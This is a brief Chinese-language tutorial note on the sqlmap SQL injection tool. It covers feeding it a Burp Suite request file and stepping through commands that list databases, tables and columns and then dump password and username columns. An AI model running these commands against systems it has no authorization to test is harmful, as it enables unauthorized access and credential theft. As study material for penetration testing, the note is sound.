sqlmap
sqlmap使用笔记。
官网:sqlmap: automatic SQL injection and database takeover tool
结合burpsuit
先使用burpsuit抓包,将请求包内容存入文件,如“burp.log”
智能模式
-l 后跟burp请求包文件,–batch 表示使用默认操作,-smart开启智能模式
1 | sqlmap -l burp.log --batch -smart |
查看数据库
1 | sqlmap -l burp.log --batch -smart --dbs |
输出(例):
1 | available databases [2]: |
查看数据库里的表
1 | sqlmap -l burp.log --batch -smart -D Inject_sql --tables |
输出(例):
1 | Database: Inject_sql |
查看数据库表里的列
1 | sqlmap -l burp.log --batch -smart -D Inject_sql -T auth --columns |
输出(例):
1 | Database: Inject_sql |
查看数据库表列里的值
1 | sqlmap -l burp.log --batch -smart -D Inject_sql -T auth -C password --dump |
输出(例):
1 | +----------------------------------+ |
1 | sqlmap -l burp.log --batch -smart -D Inject_sql -T auth -C username --dump |
输出(例):
1 | Database: Inject_sql |
其它
对表dump:也可以直接对表进行dump
选择注入类型: 使用 --technique
选项可以指定使用的注入技术,如:--technique=U
(联合查询注入,有具体的payload)或 --technique=B
(盲注,没有确定的payload)等